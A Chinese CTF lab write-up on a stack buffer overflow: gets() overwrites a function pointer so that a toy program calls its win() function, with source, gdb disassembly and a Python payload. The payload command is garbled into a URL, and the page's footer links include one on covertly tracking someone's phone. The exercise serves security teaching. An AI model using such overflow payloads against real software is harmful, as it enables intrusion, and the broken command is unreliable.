CTF PWN练习之函数指针改写

访客4年前关于黑客接单746

先介绍工具吧!

使用objdump工具可以查看一个目标文件的许多内部信息,objdump有许多可选的参数选项,通过控制这些参数选项可以输出不同的文件信息。

本实验的程序和代码位于/home/test/4目录下,执行objdump -d pwn4可以看到关于pwn4程序的反汇编指令列表,其中-d选项表示进行反汇编操作.

本文涉及相关实验:《CTF PWN练习之函数指针改写》(除了gdb之外,Linux还有许多工具可以帮助我们分析二进制文件。本实验将教会大家使用objdump来查找二进制程序中函数的地址信息,并通过修改函数指针变量的值为指定函数的地址来改写程序执行流程。)。

实验内容和步骤

大东:先来看题目描述 主机/home/test/4目录 下有一个pwn4程序,执行这个程序 可以 输入数据进行测试,当输入一定的数据量时 , 可能什么都不会提示程序就结束运行了,也可能会提示这样的信息:

calling function pointer, jumping to 0x41414141

Segmentation fault

当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息:

calling function pointer, jumping to 0x**XXXXXXXX**

Congratulations, you pwned it.

请对pwn4程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入 数据,使之 输出成功的提示信息。

开始做题吧,先看源码,使用cd /home/test/4切换到程序所在目录,执行cat pwn4.c 即可看到源代码:

#include <stdio.h>

#include <string.h>




typedef void (* func)();




void win()// 输出 成功提示信息的函数

{

printf("Congratulations, you pwned it.
");

}




int main(int argc, char** argv)

{

func fp;

char buffer[64];




fp=NULL;

gets(buffer); // 可引发缓冲区溢出




if (fp) // 判断函数指针变量fp是否不为NULL

{

printf("calling function pointer, jumping to 0x%08X
", fp);

fp(); // 调用 fp

}

return 0;

}

程序定义了一个与buffer相邻的函数指针变量fp, 然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,fp 变量的值可以被改写,当fp 的值被改写为 win 函数的地址时,就可以输出成功提示的信息。

继续来看分析,执行gdb pwn4即可开始通过gdb对 pwn4进行调试,现在我们需要阅读main函数的汇编代码 ,在gdb中执行disas main命令即可:

大东:下面是对main函数中的汇编代码的解释:

0x08048428 <+0>: push %ebp

0x08048429 <+1>: mov %esp,%ebp

0x0804842b <+3>: and $0xfffffff0,%esp

; 在栈上开辟0x60字节的空间

0x0804842e <+6>: sub $0x60,%esp

; 初始化fp的值为NULL,其中fp位于[esp+0x5c]

0x08048431 <+9>: movl $0x0,0x5c(%esp)

; 执行gets(buffer),其中buffer位于[esp+0x1c]

0x08048439 <+17>: lea 0x1c(%esp),%eax

0x0804843d <+21>: mov %eax,(%esp)

0x08048440 <+24>: call 0x8048320 < gets@plt>

; 判断fp是否为NULL

0x08048445 <+29>: cmpl $0x0,0x5c(%esp)

0x0804844a <+34>: je 0x8048467 < main+63>

0x0804844c <+36>: mov $0x8048554,%eax

0x08048451 <+41>: mov 0x5c(%esp),%edx

0x08048455 <+45>: mov %edx,0x4(%esp)

0x08048459 <+49>: mov %eax,(%esp)

0x0804845c <+52>: call 0x8048340 < printf@plt>

; 执行fp()

0x08048461 <+57>: mov 0x5c(%esp),%eax

0x08048465 <+61>: call *%eax

0x08048467 <+63>: mov $0x0,%eax

0x0804846c <+68>: leave

0x0804846d <+69>: ret

通过对上面的汇编代码进行分析, 我们知道buffer位于esp+0x1c处,而fp位于esp+0x5 c处,两个地址的距离为0x5 c - 0x1c=0x40,即64,刚好为buffer数组的大小。 因此当输入数据的长度超过64字节 时,fp 变量 就可以被覆盖,但需要控制fp变量的值还需要小心的构造数据。我们只要合理控制 环境变量参数的第65~68字节的内容, 就可以成功发起溢出攻击了。

通过上面的步骤我们已经知道,只要合理控制输入 数据的第 65~68字节的内容,就可以成功发起 溢出攻击了 。现在的问题是找到函数win的地址信息,然后将fp的值改写为win函数的地址,这样就可以达到调用win函数的目的了。前面 提到过使用objdump可以查看函数的地址,现在在shell中执行objdump -d pwn4,然后在输出 信息中找到win函数的信息:

可以看到win函数的地址为0x08048414,因为机器采用小端格式,因此执行下面的语句就可以成功发起溢出攻击了:

python -c "print 'A'*64+'\x14\x84\x04\x08'" | https://www.freebuf.com/articles/network/pwn4

攻击效果如下图所示:

PWN类型的题目是CTF中的一个难点,要多下功夫。这次实验需要重点注意fp变量和汇编代码的分析。

相关文章

赛琳达 斯万(赛琳达·斯万老公)

赛琳达 斯万(赛琳达斯万老公) 和大电影一样,不少演员既出演过漫威的电影,也出演过DC的电影。而今天我们要来说的是,既出演过漫威电视剧,也出演过DC电视剧的十位演员。甚至他们中的一些角色为剧集增色不...

勤勤恳恳优化却被莫名其妙降权

勤勤恳恳优化却被莫名其妙降权

天有不测风云网站也有朝夕祸福,许多工作是我们无法预推测的,小明SEO博客就在一夜之间被百度彻彻底底的降权了。原来前一天还一切正常,网站排名都照旧好好的,就过了一个晚上到第二天早上打开电脑查察网站数据的...

张纯如去世15周年为什么上热搜 张纯如是谁个人资料去世原因是什么

张纯如去世15周年 今天是张纯如去世15周年。她的父母特意为我们录制了一段视频,表达了对张纯如的思念,并用张纯如的名言“the power of one”鼓励大家,不要轻易放弃理念和梦想,要相信一个...

运20驰援武汉怎么回事 运20是什么驰援武汉事件始末

运20驰援武汉怎么回事 运20是什么驰援武汉事件始末

空军多架运-20、伊尔76、运-9运输机抵达武汉天河机场,从乌鲁木齐、重庆、天津、张家口等地,运送大批军队医疗队员和医疗物资驰援武汉,抗击疫情。今天将有包括6架运-20在内的11架空军运输机抵达武汉。...

美媒:新冠疫苗接种魔女天骄美人志点距非洲裔聚居区较远

  据美国有线电视新闻网(CNN)报道,美国匹兹堡大学的研究人员4日发布一份研究报告称,美国的新冠疫苗接种点普遍设置在距离当地白人群体较近,距离非洲裔群体较远的地方。   报告称,研究人员对全美69...

如何通过微信定位别人手机位置不被发现(怎样用微信给...

我上班的时候经常使用不同的文字处理器和文本编辑软件。我写好的大部分文档都用很流行的那种(尤其是Windows用户常用的)选项来生成,也就是用“打印-〉保存成PDF”。很多情况下,有些个人的PDF文档,...